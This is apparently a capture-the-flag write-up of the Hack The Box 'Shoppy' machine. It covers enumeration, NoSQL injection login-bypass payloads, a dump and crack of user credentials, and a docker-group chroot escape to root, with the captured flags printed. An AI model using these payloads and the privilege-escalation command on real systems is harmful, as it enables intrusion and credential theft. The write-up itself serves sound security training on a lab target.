Shoppy
Welcome back here is an old Easy machine called Shoppy. As always we started out with an nmap scan
# Nmap 7.92 scan initiated Thu Dec 8 15:54:43 2022 as: nmap -sS -sC -sV -oN scans/nmap.txt 10.10.11.180 Nmap scan report for 10.10.11.180 Host is up (0.060s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA) | 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA) |_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519) 80/tcp open http nginx 1.23.1 |_http-title: Did not follow redirect to http://shoppy.htb |_http-server-header: nginx/1.23.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Dec 8 15:54:54 2022 -- 1 IP address (1 host up) scanned in 10.68 seconds
The usual ports so visited the site hosted onm the port 80.
From the site we can only see a countdown, and nothing else so we can try to run gobuster to check for the hidden enpoints
/ADMIN (Status: 302) [Size: 28] [--> /login] â /Admin (Status: 302) [Size: 28] [--> /login] â /Login (Status: 200) [Size: 1074] â /admin (Status: 302) [Size: 28] [--> /login] â /assets (Status: 301) [Size: 179] [--> /assets/] â /css (Status: 301) [Size: 173] [--> /css/] â /exports (Status: 301) [Size: 181] [--> /exports/] â /favicon.ico (Status: 200) [Size: 213054] â /fonts (Status: 301) [Size: 177] [--> /fonts/] â /images (Status: 301) [Size: 179] [--> /images/] â /js (Status: 301) [Size: 171] [--> /js/] â /login (Status: 200) [Size: 1074]
From the above results seems that we have a login at /admin endpoint.
Except to this, the others enpoints are unrechable.
Because we canât find any vector to priv-esc, neither with searchsploit, we can try to bruteforce using as username admin with hydra, but noyhing.
So because we have nothing to do we can try to run again gobuster scan, and look forr some hidden vhost but with different wordlists like the seclist.
Wordlist used dns mode : /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt // Nothing /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt // Nothing gbuster_medium_2-3.txt // Useless
After a lot of fuzzing we have found the right wordlist which turned out to be the bitquark-to1000000
âââ(kaliã¿kali)-[~/diego/Hack_the_box/Machines/Shoppy] ââ$ gobuster vhost --wordlist=/usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --url="http://shoppy.htb" --output=scans/vhost_bitquark.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://shoppy.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/12/10 05:40:13 Starting gobuster in VHOST enumeration mode =============================================================== Found: mattermost.shoppy.htb (Status: 200) [Size: 3122] =============================================================== 2022/12/10 05:47:07 Finished ===============================================================
So now we have to change the /etc/hosts and visit the new site
10.10.11.180 shoppy.htb mattermost.shoppy.htb
Letâs visit the website by specifing the subdomain just found.
It redirects us into a new login form where now we can try to inject some basic codes to spot login-vulnerabilities.
SELECT * FROM users WHERE admin = '1' OR 1 = 1--' AND password = '2' â
I have tried some of the basic sql injections and i have even done a bruteforce with burpsuite but nothing came out
Tried with different types of injections, following the examples provided by hacktricks. From the new site seems to be nothing, so tried to inject code into the first login, to understand why does it give us error 504
From the request above we can see that if we insert the character â we get the timeout, but even if we use the â\â character, so maybe it is a nosql service. It could be the right way because the syntax is a bit different from a normal sql server, and that should be the reason why none normal-sql injection payload worked.
Knowing this we can look at the hacktricks database for the nosql injections.
From the guide there is a payload to test against the server
' || 1==1%00
That gave us a strange input
It seems to be an id cookie that let us to enter the site, by the way if i do it manually i get a timeout, while if i do it via curl
curl -i "http://shoppy.htb" --cookie connect.sid=s%3Ahdxw-vROpmbcXdAcVTEKT6gDxwsXxUBy.ROrWwvDrUTiN7eISKG0fIwIhbiQTkSusXuzkXdvQGAc HTTP/1.1 200 OK Server: nginx/1.23.1 Date: Sat, 10 Dec 2022 15:45:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2178 Connection: keep-alive Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Tue, 01 Feb 2022 09:38:44 GMT ETag: W/"882-17eb4a698a0" <!DOCTYPE html> <html lang="en-US"> <head> <meta charset="utf-8"> <title> Shoppy Wait Page </title> <link href="favicon.png" rel="shortcut icon" type="image/png"> <link href="css/roboto.css" rel="stylesheet" type="text/css"> <link href="css/loader.css" rel="stylesheet" type="text/css"> <link href="css/normalize.css" rel="stylesheet" type="text/css"> <link rel="stylesheet" href="css/font-awesome.min.css"> <link href="css/style.css" rel="stylesheet" type="text/css"> <script src="js/jquery.js"></script> </head> <body> <div class="preloader"> <div class="loading"> <h2> Loading... </h2> <span class="progress"></span> </div> </div> <div class="wrapper"> <ul class="scene unselectable" data-friction-x="0.1" data-friction-y="0.1" data-scalar-x="25" data-scalar-y="15" id="scene"> <li class="layer" data-depth="0.00"> </li> <li class="layer" data-depth="0.10"> <div class="background"> </div> </li> <li class="layer" data-depth="0.20"> <div class="title"> <h2> SHOPPY </h2> <span class="line"></span> </div> </li> <li class="layer" data-depth="0.30"> <div class="hero"> <h1 id="countdown"> Shoppy beta coming soon ! Stay tuned for beta access ! </h1> <p class="sub-title"> Shoppy beta coming soon ! Stay tuned for beta access ! </p> </div> </li> </ul> </div> <script src="js/plugins.js"></script> <script src="js/jquery.countdown.min.js"></script> <script src="js/main.js"></script> </body> </html>
The input is right but we have to do a slight change to make it not timeout us. We need to remove the %00 and insert the name admin that is right.
admin'||'1=1
And here is the site as login
As you can see here we can search for users, but there is none useful, so because before we broke with the NoSqlInjection we can try to use it again.
It worked! Now we can press a button where all the creds are stored
Maybe they can be used to login into the other login form
The key doesnât work maybe it is encoded, or even hashed, so we can try to use crackstation to get the real password
The only password that worked was the one of the user josh, which is remembermethisway, that we can use to log.
We are in! Now we have to find a way to upload a rev-shell
Mmh.. seems that we donât even need a rev-shell because we have the credentials for the user jaeger, letâs try them via ssh.
Now we can get the user flag
jaeger@shoppy:~$ cat user.txt 04124b35540de00cbd87a6e929321383
Root.txt
Here it comes the priv-esc part where we neet to become root.
By running sudo -l we can see that we are able to run an executable as user :: deploy, so we can try to run it
It requires the master password which is neither the used one for the login and nor the provided one from the site Because we canât read the code we can take the executable and analyze it with gdb or even Ghidra, here we will use ghidra.
As you can see it creates the password character by character till he creates the âSampleâ passphrase.
It worked now that we have the credentials for user :: deploy we can become it.
Now we can try to run linpeas to check for some vulnerability
As you can see we are in the docker group so we can run the command itself and if we look at GTFObins we can see that there is a way to get the root shell.
So we can try to run it and see if we get the root shell.
deploy@shoppy:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh # bash -p root@32b576fa8df3:/# id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) root@32b576fa8df3:/# cd /root/ root@32b576fa8df3:~# cat root.txt 64f5d271052f85860c603c9fcfb16495
We did it!
And here is how to solve the Shoppy-HTB machine 0xCY@